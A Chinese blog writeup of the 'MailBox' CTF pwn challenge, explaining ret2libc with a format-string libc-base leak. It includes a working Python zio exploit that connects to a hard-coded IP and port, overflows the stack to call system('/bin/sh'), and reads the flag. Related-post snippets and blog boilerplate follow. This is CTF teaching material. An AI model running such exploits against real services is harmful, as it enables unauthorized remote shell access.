Mailbox(getshell) writeup —— ret2libc的利用

pwn小白入门06--ret2libc 概述: 前文介绍了ROP的基本原理,但前面的方法有一些局限性,一旦目标程序调用的函数较少,或者使用动态编译,就会导致我们可以利用的gadget变少,从而无法达到利用效果。为了解决这种问题,我们可以选择使用ROP的方式,到动态链接库里面寻找gadget。即ret2libc。 动态链接库: 说动态链接库之前,先简单介绍一下库,库是一种软件组件技术,库里面封装了数据和函数,比如常用的printf,get函数。前文所说的ret2syscall所使用的程序是静态链接的,即在程序编译的时候就将整个库链接到程序中,一般这 阅读详情

Hint:

ret2libc √

题目描述:

mailbox

libc-2.19.so

题目目录下面还有另外一个flag文件:)需要拿到shell才能看得到


Writeup:

ret2libc即为return-to-libc,返回到系统库函数执行。

数据执行保护机制(Data Execution Prevention)将非代码区段设置为不可执行属性,使得系统无法执行攻击者注入的Shellcode。

利用ret2libc可使程序返回至系统库函数,系统库中有个system函数,向该函数提供参数“/bin/sh”可拿到目标服务器shell。

因此,需要利用栈溢出,用system的真实地址(libc基址+相对地址,系统库函数的相对地址可以在libc-2.19.so中找到)覆盖当前函数栈中的返回地址([ebp+0x4]),用“/bin/sh”的真实地址覆盖栈中的第二个参数([ebp+0x0C])。第一个参数([ebp+0x8])需要用exit函数的真实地址覆盖,作为system函数执行完后的返回地址。


MailBox中已经发现了栈溢出点,于是乎得到system函数和“/bin/sh”的真实地址即可拿到Shell,而这些真实地址需要通过libc的基址进行计算得到。因此,libc基址是拿到Shell的关键。

第一次接触ret2libc,对于获取libc基址没有什么思路,从两个大神的writeup中找到了获取libc基址的方法。

1、用printf_plt覆盖返回地址,用printf_got覆盖第二个参数,exit函数覆盖第一个参数,跳转至printf_plt打印printf函数的真实地址,printf的真实地址减去相对地址即为libc的基址;

2、在libc-2.19.so中找到__libc_start_main函数,该函数调用main函数,因此,调用main函数后的指令的地址即为main函数的返回地址(相对)。在main的栈中找到返回地址([ebp+4]),利用MailBox的格式化字符串漏洞打印出来,用该地址减去main函数的返回地址(相对)即为libc的基址。

libc的基址是动态变化的,每次连接服务器都会得到一个新的基址,因此,需要在一次连接中完成基址获取和栈溢出。我认为方法一更简单一些,刚开始我也是通过这种方法获取的,可是获取基址的同时已经把栈溢出用掉了。如果想要ret2libc需要再次连接利用栈溢出,可是这时libc基址早已变化了,所以只好选择方法二(方法一可能可以通过返回至函数开头解决libc基址变化问题,有时间再尝试一下)。

代码如下:

#! /usr/bin/python
from zio import *
exit_plt = 0x08048990
io = zio(('121.201.7.145',7775))
'''#注册账号
io.read_until('Quit')
io.writeline('1' )
io.read_until('Name:')
io.writeline('volvo' )
io.read_until('Pass:')
io.writeline('volvo' )
'''
io.read_until('Quit')
io.writeline('2')		#登录
io.read_until('Name:')
io.writeline('volvo')
io.read_until('pass:')
io.writeline('volvo')
io.read_until('Quit')
io.writeline('3')		#SendMail
io.read_until('To:')
io.writeline('zxczxc')

io.read_until('Title:')
title = '%e'*45 + '%x'	<span style="white-space:pre">	#打印栈帧内容
io.writeline(title)
io.read_until('Body:')
base_addr = input("Input the ret_addr:") - 0x00019A83	#输入main返回地址
system_addr = base_addr + 0x00040190
binsh_addr = base_addr + 0x00160a24
body = 'a' * 51 + l32(system_addr) + l32(exit_plt) + l32(binsh_addr)	#ret2libc
io.writeline(body)
io.writeline('ls')
io.writeline('cat flag')
io.interact()

CTFShow pwn07 (ret2libc-64bit CTFShow pwn07解题记录 阅读详情

相关推荐

pwn ret2libc

目录1.攻防世界 level32.buu babyrop3.buu ciscn_2019_c_1 1.攻防世界 level3 把文件放到kali里面发现是一个压缩包(放入exeinfo里面也可以发现是压缩包),解压缩得到level3和libc.so文件 file checksec ida32 进入漏洞函数vunl(),发现有栈溢出漏洞 没有system函数和/bin/sh 题目提示了用libc。 libc.so是一个函数库(类似于C语言#include<iostream>的iostrea

清霂的博客 682

CTF之PWN学习入门

  从基础开始,一步步教同学们从基础的栈溢出,栈溢出的原理以及在64位程序与32位程序下,如何去构造EXP,以及在有一般保护的情况下如你构造ROP链,在没有binsh与system函数的情况下如何去构造泄露如put,printf,write等函数的真实地址。然后教大家格式化字符串漏洞的利用,在开启canary下即存在栈溢出与格式化漏洞的情况下如保构造EXP来打通获取一个shell。学完课程同学们能够掌握格式化字符串漏洞与栈溢出漏洞的原理以及如何去构造EXP,掌握原理。

【PWN · ret2libc】[2021 鹤城杯]babyof

64位Linux和32位Linux确乎有着关于参数传递上的不同,然而无论哪种,关于ret2libc这一题型。如果仅仅是wiki上的三道题目,那还是远远不够的。故尝试通过本题,总结ret2libc的一般过程。过程包括通过puts/write来泄露got表中的puts/write的真实地址->计算libc的基址->libc基址+任意库函数相对于libc的偏移量=任意函数真实地址->libc基址+libc中'/bin/sh'偏移量='/bin/sh'地址,如此构造system('/bin/sh')

Mr_Fmnwon的博客 3181

pwn基本ROP——ret2libc

ret2libc环境PLT表和GOT表ret2libc1原理漏洞分析使用checksec查看保护措施使用IDA32位进行调试获取偏移量payloadret2libc2原理漏洞分析checksec使用IDA进行调试payloadret2libc3原理漏洞分析checksec使用IDA调试payload 环境 retlibc1 ret2libc2 ret2libc3 PLT表和GOT表 在进行ret2libc学习之前,我们需要先了解一下PLT表与GOT表的内容。 Globle offset table(GOT)

turtlesd的博客 3649

Python虚拟环境实战:如何在不同conda环境中共享CUDA的libcupti.so.12文件

本文深入探讨了在Python虚拟环境中解决`ImportError: libcupti.so.12`报错的工程化方案。通过分析动态链接库的搜索机制,提供了环境变量法、软链接法和系统级配置法三种解决方案,帮助开发者在不同conda环境中高效共享CUDA动态链接库,确保深度学习项目的顺利运行。

weixin_29094775的博客 240

YOLO与3D点云融合:从原理到实践的多模态3D目标检测指南

最近在实验室和几个研究生聊天,发现一个挺有意思的现象:大家一提到“YOLO+3D点云”这个组合,第一反应往往是“顶会热门”、“发论文利器”,但真上手去复现或者想基于这个方向做点创新时,又常常卡在第一步——感觉每个部分都懂一点,但就是串不起来,不知道从哪开始,也不知道核心的“价值点”到底在哪。 这让我想起几年前刚开始接触这个领域时的自己,也经历过同样的困惑。当时看了很多论文,感觉“3D目标检测”这个方向既酷又难,YOLO负责2D图像里的快速定位,点云提供精确的三维空间信息,听起来是天作之合。但真正把代码跑起来

weixin_34267123的博客 415

PWN题型之Ret2Libc

文章目录前言0x1 :使用前提条件0x2 :为什么要这么使用0x3 :使用方法0x4 :实例二、使用步骤总结 前言 菜鸡总结,如有不对,请指点 0x1 :使用前提条件 查看保护:开启了NX保护,但是没有开启PLE保护,可以开启canary保护。但是这样就是两种题型结合了。 打开IDA查看源代码:存在溢出条件,但是没有system函数(/bin/sh)和 flag字样。 ` 0x2 :为什么要这么使用 由于缺少system函数,所以需要构造shellcode。但是开启了NX保护(可执行的不可修改,可修改不可执

swedsn 6781

DBSCAN聚类算法——机器学习(理论+图解+python代码)

一、前言 二、DBSCAN聚类算法 三、参数选择 四、DBSCAN算法迭代可视化展示 五、常用的评估方法:轮廓系数 六、用Python实现DBSCAN聚类算法 一、前言 去年学聚类算法的R语言的时候,有层次聚类、系统聚类、K-means聚类、K中心聚类,最后呢,被DBSCAN聚类算法迷上了,为什么呢,首先它可以发现任何形状的簇,其次我认为它的理论也是比较简单易懂的。今年在python...

huacha__的博客 20万+

从ctfwiki开始的pwn之旅 4.ret2libc

当一个函数被调用过后,got表里保存了他在内存中的地址,可以通过泄漏got表内存来泄漏函数地址,然后可以根据起泄漏的函数地址获得其libc版本,从而计算其他函数在内存空间中的地址。为什么不能直接跳到got表,通过前面的前置知识我们知道plt表中的地址对应的是指令,got表中的地址对应的是指令地址,而返回地址必须保存一段有效的汇编指令,所以必须要用plt表。可执行文件里保存的是plt表的地址,对应plt地址指向的是got的地址,got表指向的是glibc中的地址。经在 ida 中查找,确实也存在。

2301_80361487的博客 1745

AXI Memory Mapped To PCI Express IP 核设计实例

本文详细描述了AXI Memory Mapped To PCI Express(2.9) IP核的应用实例

u011565038的博客 2803

LVGL(lv_table)

LVGL中的lv_table是一个轻量级表格控件,用于显示行列式文本数据。它支持设置单元格内容/样式、行列调整、事件响应等基础功能,适用于参数配置、数据展示等场景。通过API可快速创建表格,设置行列数、填充数据,并自定义对齐方式与样式。但需注意默认无滚动条、行数限制等问题。该控件适合简单表格需求,复杂交互需结合自定义事件处理。

m0_49476241的博客 1264

【PWN学习】如何获取libc基址

在解pwn题的时候,如果程序中没有可以获得shell的函数,通常会通过got表中调用函数来获取libc基址,然后通过libc获取要用的system函数和binsh字符。

Morphy_Amo的博客 1万+

《C++等级认证CCF-GESP真题解析》专栏总目录

❤️ 专栏名称:《C++等级认证CCF-GESP真题解析》🌸 专栏介绍:中国计算机学会GESP《CCF编程能力等级认证》C++编程(1~8级)历届真题解析。🚀 订阅专栏:订阅后可阅读专栏内所有真题解析,真题持续更新中,欢迎订阅!

人生就是一个不断学习的过程 6292

字符串溢出(pwn溢出)--ret2libc

pwn入门

莫慌的博客 648

JNI的本质解析:Android Framework视角下的Java-Native衔接机制

本文基于Android 14源码深入分析JNI机制,从Android Framework视角解析Java-Native衔接原理。主要内容包括:JNI的双轨制注册机制(静态与动态注册),核心数据结构(JNIEnv与JavaVM)的实现原理,以及完整的调用链路剖析。文章通过MessageQueue的JNI实现案例,展示Android Framework如何利用JNI实现Java层与Native层的高效交互,并提供了性能优化建议。分析表明,JNI作为Android系统架构的关键桥梁,其设计充分考虑了性能、安全性

保持专注,保持热爱 1211

基于 ESP32-CAM 与 TinyML 的食堂餐盘自动识别与营养分析终端

【代码】基于 ESP32-CAM 与 TinyML 的食堂餐盘自动识别与营养分析终端。

weixin_42300449的博客 166

pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)

本文详解了pwn题目中ret2libc的解题思路。简要介绍了plt表和got表的意义以及Linux中的延迟绑定技术,并通过32位和64位的两个具体题目具体的介绍了解pwn题的完整过程。

Bossfrank的博客 2万+

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

[CTF]PWN--新人入门第一关--Ret2libc

首先我们需要找到pop rdi|ret这个指令在程序中的位置(前面提到该指令为程序中自带的,只不过需要我们去寻找),然后让程序返回到pop rdi|ret这个指令上去执行它,通过ROPgadget --binary pwn --only 'pop|ret' 该指令来寻找pop |ret这个指令的地址,其中ROPgadget为一个插件,需要自己下载,binary意思为一个二进制文件,后面跟着的是文件名,only后面跟着的为要搜索的命令地址。

2301_79880752的博客 1899

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

pwn学习——ret2libc2

pwn学习——ret2libc21.攻击原理2. ret2libc2的源代码3.checksec看一下保护4.exp 1.攻击原理 通过把函数返回地址直接指向系统库中的函数(如system函数),同时构造该函数的输入参数栈,就可以达到代码执行的目的。 正常堆栈布局: ret2libc执行system的堆栈布局: 本题和ret2libc1的区别就是程序中没有自带"/bin/sh",需要自己写进去 2. ret2libc2的源代码 #include <stdio.h> #include <

MrTreebook的博客 1405

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

泄漏libc基地址

这里可以利用vulnerable_function函数进行栈溢出,利用write函数泄漏write函数的地址,从而拿到libc,使用write函数泄漏write函数地址时(puts函数同理),即使程序在前面。利用write函数的got表和plt表,溢出得到write函数的地址,在计算得到libc_base基地址。先看汇编下调用write函数时参数的传递:(以32位为例),泄漏 fun_name的got地址和。

yjh_fnu_ltn的博客 2470

CTF泄漏libc基址的方法

泄漏libc 重点: glibc 的后三位是固定的 main_arena泄漏法 main_arena存储在libc.so.6文件的.data段,通过这个偏移我们就可以获取libc的基址,使用IDA打开libc文件,然后搜索函数malloc_trim() [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a8DgTYcd-1609837106507)(D:\04_笔记\images\main_arena.png)] [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接

liucc09的博客 4822

MailBox writeup(step1)

又是一道pwn。这题貌似是蓝莲花的题目=,=先用连接上去看看,好像是个发送邮件的程序,有很多的字符串的输入,但是好像都是限制了长度了。长度限制一到就毫不留情的结束输入。 看不出什么,直接丢ida。 主要的代码都在main函数里面。相当坑爹的流程,慢慢理清楚吧。溢出点是在sendmail函数里面。 .text:08049362 mov dword ptr [esp], offset aT

这里没人 1173

Pwn学习-ret2libc三联

正常请求ebp要ret至main函数,因此把此间的变量覆盖成其他的函数地址。此处调试过程需要注意,输入的位置是gets函数,要继续调试至main函数再查看stack,计算此时的偏移量,偏移量为112。此题目与上一题最大的区别就是没有/bin/sh,那么结合攻击思路,需要写一个/bin/sh进去执行。调试过程中有坑,需要一个地址能够写进程序,使用IDA调试,发现buf2函数可以写入。继续跟进调试,直至ret至下个main函数,再查看stack。思路一样,减少找函数的过程,提升解题效率。

cdl10000的博客 611

从CTFshow-PWN入门-pwn25分析ret2libc原理与实现

这是一道栈溢出的题目,具体用了 ret2libc 的方法,本属于后面模块的题目,放在这里是为了让大家了解一些保护以及对应的攻击手法。

Claire_cat的学习记录 856

PWN——ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

Pr0b1em的博客 597

PWN篇:ret2libc

PWN篇:ret2libc 源码 #include void vuln_func(){ char buf[128]; read(STDIN_FILENO,buf,256); } int main(int argc,char* argv[]){ vuln_func(); write(STDOUT_FILENO,"hello world!\n",13); } 很明显vuln为溢出函数 编译 gcc -m32 -fno-stack-protector -no-pie -z execstack tes

weixin_44644249的博客 639
上一篇: DLL注入方式
下一篇: PWN STEP2 writeup —— 初试栈溢出
R00cky
博客等级 码龄12年 5粉丝 12原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值